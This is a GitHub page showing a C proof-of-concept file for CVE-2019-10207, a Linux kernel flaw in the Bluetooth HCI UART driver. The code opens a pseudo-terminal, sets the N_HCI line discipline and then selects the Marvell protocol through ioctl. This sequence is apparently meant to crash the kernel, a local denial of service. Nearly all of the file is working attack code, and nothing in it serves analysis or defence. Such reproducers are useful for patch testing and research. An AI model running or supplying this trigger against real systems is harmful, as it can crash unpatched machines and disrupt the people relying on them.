-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathCVE-2019-10207.c
79 lines (64 loc) · 1.36 KB
/
CVE-2019-10207.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#define GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/stat.h>
#define N_HCI 15
#define HCI_UART_MRVL 11
#define HCI_UART_INTEL 6
#define HCI_UART_ATH3K 5
#define HCIUARTSETPROTO _IOW('U', 200, int)
static int syz_open_pts(int a0)
{
int ptyno = 0;
char buf[20]={0};
int ret;
if (ioctl(a0, TIOCGPTN, &ptyno)){
perror("ioctl TIOCGPTN");
return -1;
}
sprintf(buf, "/dev/pts/%d", ptyno);
if(chmod(buf,S_IRUSR|S_IWUSR|S_IWGRP)<0){
perror("chmod");
return -1;
}
if(ioctl(a0,TIOCSPTLCK,&ret)<0){
perror("ioctl TIOCSPTLCK");
return -1;
}
return open(buf, O_RDWR);
}
int main(int argc, char** argv)
{
int ldisc = N_HCI;
int proto = HCI_UART_MRVL;
int fd,fd1,ret;
fd = open("/dev/ptmx",O_RDWR | O_NOCTTY);
if (fd == -1){
perror("open");
return 0;
}
fd1 = syz_open_pts(fd);
if(fd1 == -1){
perror("syz_open_pts");
goto _close;
}
/* configure line settings */
ret = ioctl ( fd1 , TIOCSETD , &ldisc ) ;
if(ret == -1){
perror("ioctl TIOCSETD");
goto _close;
}
ret = ioctl ( fd1 , HCIUARTSETPROTO , HCI_UART_MRVL ) ;
if(ret == -1){
perror("ioctl HCIUARTSETPROTO");
goto _close;
}
_close:
close(fd);
return 0;
}